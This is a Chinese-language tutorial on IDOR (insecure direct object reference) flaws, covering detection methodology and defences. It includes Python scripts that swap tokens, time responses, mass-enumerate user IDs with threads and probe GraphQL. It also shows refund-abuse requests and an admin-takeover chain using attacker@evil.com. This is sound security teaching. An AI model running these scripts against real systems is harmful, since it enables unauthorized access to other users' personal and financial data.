一、IDOR 基础概念

1.1 什么是水平越权

水平越权(Horizontal Privilege Escalation),又称 IDOR,是指攻击者与目标用户处于相同权限级别,但通过操纵请求参数访问了其他用户的数据

┌──────────┐      ┌──────────┐
│  User A  │      │  User B  │   ← 同一权限级别
│ (普通用户) │      │ (普通用户) │
└────┬─────┘      └────┬─────┘
     │                  │
     │  GET /api/orders?user_id=42
     │  🔴 如果 user_id=42 是 B 的订单
     │     且服务端没校验 "当前用户 == 42"
     │     → A 就越权读到了 B 的数据
     ▼
┌──────────────────────┐
│  Service /api/orders  │
│  检查: 是普通用户 ✓    │
│  未检查: 是不是自己的  │  ← 缺陷
└──────────────────────┘

1.2 为什么 IDOR 是第一大安全威胁

OWASP Top 10(2021)将 Broken Access Control(访问控制失效)列为 #1 风险,而 IDOR 是其中最常见、危害最广的子类别之一:

  • 普遍性高:几乎所有多用户系统都可能存在
  • 危害严重:可泄露敏感数据、窃取资金、修改他人账号
  • 检测困难:自动化扫描器几乎无法识别,需要业务逻辑理解
  • 修复成本低:只需在服务端加一层授权校验

二、IDOR 的常见形式

2.1 URL 参数直接引用对象 ID

GET /api/v1/users/1001/orders
GET /api/v1.0/users?id=1001
POST /api/v1/invoices/view
Content-Type: application/json

{
  "invoice_id": "INV-2024-0001"
}

2.2 隐藏在请求体或头部

POST /api/payment/refund
Content-Type: application/json
X-Target-User-Id: 42

{
  "order_id": "ORD-999",
  "amount": 99.99
}

2.3 文件名或路径参数

GET /api/download?file_id=FILE-2023-0137
GET /static/uploads/user_872_avatar.png
GET /attachments/project-123/budget.xlsx

2.4 弱引用(Sequential IDs)

使用自增整数作为 ID 是最容易被遍历的:

/user/1
/user/2
/user/3
...
/user/99999

三、漏洞挖掘方法论

3.1 核心思路

凡是请求中出现了"指定对象"的参数,就要怀疑 IDOR。 关注以下关键词:

id, userId, user_id, targetId, target_id
orderId, order_id, transactionId
fileId, file_id, documentId, doc_id
invoiceId, invoice_id
chatId, conversationId, conversation_id
messageId, message_id
projectId, project_id
ticketId, ticket_id
sessionId, session_id
accountId, account_id
customerId, customer_id

3.2 挖掘步骤

第一步:身份切换

准备两个账号 A 和 B:
  - A 的数据:user_id=100,有订单 1,2,3
  - B 的数据:user_id=200,有订单 4,5,6

第二步:抓包修改 ID

  1. 用 A 登录,抓取访问订单列表的请求
  2. 将 URL 中的 user_id=100 改为 user_id=200
  3. 如果返回了 B 的订单列表 → 存在 IDOR

第三步:自动化遍历

import requests
import sys

def find_idor(base_url: str, token_a: str, token_b: str, endpoint: str):
    """
    检测 IDOR:用 token_a 访问本该属于 token_b 的资源
    """
    # 先用 token_b 获取 B 拥有的资源 ID
    headers_b = {'Authorization': f'Bearer {token_b}'}
    b_resource = requests.get(
        f'{base_url}/{endpoint}', headers=headers_b
    ).json()
    b_resource_id = b_resource['data']['id']

    # 用 token_a 尝试访问同一个资源
    headers_a = {'Authorization': f'Bearer {token_a}'}
    response = requests.get(
        f'{base_url}/{endpoint}/{b_resource_id}', headers=headers_a
    )

    if response.status_code == 200 and response.json().get('data'):
        print(f"[!] IDOR found on /{endpoint}/{b_resource_id}")
        print(f"[!] User A can access User B's resource!")
        return True
    else:
        print(f"[√] /{endpoint}/{b_resource_id} - access properly denied")
        return False

# 使用示例
A_TOKEN = "eyJhbGciOi..."
B_TOKEN = "eyJhbGci..."
find_idor('https://api.example.com', A_TOKEN, B_TOKEN, 'orders')

3.3 盲 IDOR(Blind IDOR)

有些服务端会返回统一的错误页面(如"无权限"),但:

  • 响应时间差异:有权限 vs 无权限,DB 查询耗时不同
  • 响应长度差异:包含错误详情 vs 通用错误
  • HTTP 状态码:200 vs 403 vs 404
import requests
import time

def detect_blind_idor(base_url: str, token_a: str, resource_id: str) -> bool:
    """
    通过响应时间差异检测盲 IDOR
    """
    headers = {'Authorization': f'Bearer {token_a}'}

    timings = []
    for _ in range(5):
        start = time.time()
        response = requests.get(
            f'{base_url}/resource/{resource_id}', headers=headers
        )
        timings.append(time.time() - start)

    # 有权限访问时会执行 DB 查询,耗时更长
    # 无权限时可能直接拦截,耗时更短
    avg_time = sum(timings) / len(timings)
    print(f"[*] Response time avg for {resource_id}: {avg_time:.3f}s")

    # 需要对比已知有权/无权资源的响应时间基线
    # 这里只是一个示例
    return avg_time > 0.5

def establish_baseline(base_url: str, token: str, accessible_ids: list, inaccessible_ids: list):
    headers = {'Authorization': f'Bearer {token}'}

    def avg_time(resource_id):
        times = []
        for _ in range(10):
            start = time.time()
            requests.get(f'{base_url}/resource/{resource_id}', headers=headers)
            times.append(time.time() - start)
        return sum(times) / len(times)

    accessible_times = [avg_time(rid) for rid in accessible_ids]
    inaccessible_times = [avg_time(rid) for rid in inaccessible_ids]

    print(f"[*] Accessible baseline: {sum(accessible_times)/len(accessible_times):.3f}s")
    print(f"[*] Inaccessible baseline: {sum(inaccessible_times)/len(inaccessible_times):.3f}s")

3.4 批量 IDOR 遍历

import requests
import threading
from queue import Queue

BATCH_ENDPOINT = 'https://api.example.com/v1/users/{id}/orders'
TOKEN = sys.argv[1]

def worker(q):
    headers = {'Authorization': f'Bearer {TOKEN}'}
    while True:
        user_id = q.get()
        if user_id is None:
            break

        resp = requests.get(BATCH_ENDPOINT.format(id=user_id), headers=headers, timeout=5)
        data = resp.json()

        if resp.status_code == 200 and 'orders' in data and len(data['orders']) > 0:
            print(f"[+] User {user_id}: {len(data['orders'])} orders found - {data['orders'][0]}")

        q.task_done()

q = Queue()
threads = [threading.Thread(target=worker, args=(q,)) for _ in range(10)]
for t in threads:
    t.start()

for i in range(1, 10000):
    q.put(i)

for _ in threads:
    q.put(None)
q.join()

四、GraphQL 中的 IDOR

GraphQL 同样容易出现 IDOR,甚至因为其灵活性而更危险:

# 攻击者可以查询任意用户信息
query GetAnyUser($userId: ID!) {
  user(id: $userId) {
    name
    email
    phone
    address
    paymentMethods {
      last4
      expiry
    }
    orders {
      total
      items
    }
  }
}

# variables: { "userId": "user-99999" }

4.1 GraphQL IDOR 检测

import requests

GRAPHQL_ENDPOINT = 'https://api.example.com/graphql'
TOKEN = 'your_token_here'

INTROSPECTION_QUERY = """
query Introspect {
  __schema {
    queryType { fields { name args { name type { name kind } } } }
  }
}
"""

def extract_id_field_names(schema: dict) -> list:
    """从 introspection 结果中提取可能的 ID 参数名"""
    id_args = set()
    for field in schema['data']['__schema']['queryType']['fields']:
        for arg in field['args']:
            type_info = arg['type']
            if type_info.get('kind') == 'NON_NULL':
                inner = type_info.get('ofType', {})
                if inner.get('name') in ('ID', 'Int'):
                    id_args.add(arg['name'])
    return list(id_args)

def test_graphql_idor(token: str, query_name: str, id_arg: str, test_ids: list):
    headers = {'Authorization': f'Bearer {token}'}

    for test_id in test_ids:
        query = f"""
        query Test{{
          {query_name}({id_arg}: "{test_id}") {{
            __typename
            id
          }}
        }}
        """
        resp = requests.post(
            GRAPHQL_ENDPOINT,
            json={'query': query},
            headers=headers,
        )
        data = resp.json()

        if data.get('data', {}).get(query_name):
            print(f"[+] {query_name}({id_arg}={test_id}): accessible!")
            print(f"    Response: {data['data'][query_name]}")

五、IDOR 结合其他漏洞

5.1 IDOR + 文件上传

POST /api/upload
Content-Type: multipart/form-data

------Boundary
Content-Disposition: form-data; name="file"; filename="avatar.png"
Content-Disposition: form-data; name="targetUserId"; value="999"

<file content>
------Boundary--

攻击者可以将自己的头像上传到其他用户的账号下。

5.2 IDOR + 订单操作

POST /api/order/refund
Content-Type: application/json

{
  "orderId": "ORD-victim-001",
  "reason": "not received",
  "refundAmount": 100.00
}

5.3 IDOR + 权限提权链

1. 注册普通用户账号 (user_id=777)
2. IDOR 访问 /api/users/admin/preferences
3. 修改 admin 的 email 为 attacker@evil.com
4. 触发密码找回流程 → 邮件发到了攻击者邮箱
5. 设置新密码 → 接管 admin 账号

六、防御方案

6.1 服务端强制授权校验(核心原则)

永远不要信任客户端传入的资源归属参数。

# 🔴 错误实现
@app.get('/api/orders/{order_id}')
def get_order(order_id: int):
    # 直接用 path 中的 order_id 查单,没有校验归属
    return db.query(Order).filter(Order.id == order_id).first()

# ✅ 正确实现
@app.get('/api/orders/{order_id}')
def get_order(order_id: int, current_user: User = Depends(get_current_user)):
    # 必须校验:这个订单是否属于当前用户
    order = db.query(Order).filter(
        Order.id == order_id,
        Order.user_id == current_user.id,  # 关键!
    ).first()

    if not order:
        raise HTTPException(status_code=404, detail='order not found')

    return order

6.2 使用 UUID 替代自增 ID

虽然 UUID 不能从根本上解决 IDOR(仍然需要授权校验),但可以让遍历变得更困难:

import uuid
from sqlalchemy import Column, String

class Order(Base):
    __tablename__ = 'orders'

    id = Column(String(36), primary_key=True, default=lambda: str(uuid.uuid4()))
    # ...

6.3 对象级授权中间件

// Express 中间件:统一做资源归属校验
function requireOwnership(resourceResolver, ownerExtractor) {
  return async (req, res, next) => {
    const resourceId = req.params.id || req.body.id || req.query.id;

    if (!resourceId) {
      return res.status(400).json({ error: 'resource id required' });
    }

    const resource = await resourceResolver(resourceId);
    if (!resource) {
      return res.status(404).json({ error: 'not found' });
    }

    const currentOwnerId = ownerExtractor(req);
    if (resource.owner_id !== currentOwnerId) {
      // 不透露资源是否存在,统一返回 404
      return res.status(404).json({ error: 'not found' });
    }

    req.resource = resource;
    next();
  };
}

// 使用
app.get('/api/orders/:id', requireOwnership(
  (id) => db.orders.findById(id),
  (req) => req.user.id,
), (req, res) => {
  res.json(req.resource);
});

6.4 多租户架构隔离

-- 每一行都要有 tenant_id
CREATE TABLE orders (
  id BIGSERIAL PRIMARY KEY,
  tenant_id VARCHAR(36) NOT NULL,
  user_id VARCHAR(36) NOT NULL,
  amount DECIMAL(10,2),
  created_at TIMESTAMP DEFAULT NOW(),
  FOREIGN KEY (tenant_id) REFERENCES tenants(id),
  FOREIGN KEY (user_id) REFERENCES users(id)
);

-- 所有查询都强制带 tenant_id
SELECT * FROM orders WHERE id = 123 AND tenant_id = 'current-tenant-uuid';

6.5 返回统一错误码

// ✅ 无论资源不存在还是无权限,都返回 404,避免攻击者探测资源存在性
function notFound(res) {
  return res.status(404).json({ error: 'resource not found' });
}

// 攻击者无法区分:
// - 资源不存在 → 404
// - 资源存在但我无权访问 → 404

七、IDOR 审计清单

  • 所有 API 端点是否都校验了资源归属
  • 是否使用了统一的授权校验中间件
  • 是否有跳过授权校验的调试后门
  • GraphQL 是否有字段级授权
  • 文件上传下载是否做了归属校验
  • 批量操作是否过滤了不属于自己的资源
  • 返回统一的错误码避免信息泄露
  • 日志中是否避免泄露资源 ID
  • 是否定期做 IDOR 自动化扫描
  • 是否有完整的权限模型文档

八、总结

IDOR 不是一个"复杂"的漏洞——它的成因就是开发忘记在服务端做归属校验。但正因为简单,它无处不在。防御 IDOR 的核心原则:

  1. 服务端是唯一的信任边界,客户端说什么都不算
  2. 所有资源访问都必须带归属条件(WHERE user_id = ?)
  3. 统一的授权中间件,避免遗漏
  4. 默认拒绝(deny by default),显式授予权限

九、参考资料

  • OWASP IDOR Cheat Sheet
  • PortSwigger Web Security Academy - IDOR
  • Hacksplaining Insecure Direct Object Reference
  • CWE-639: Authorization Bypass Through User-Controlled Key
  • Bugcrowd IDOR Writeups Collection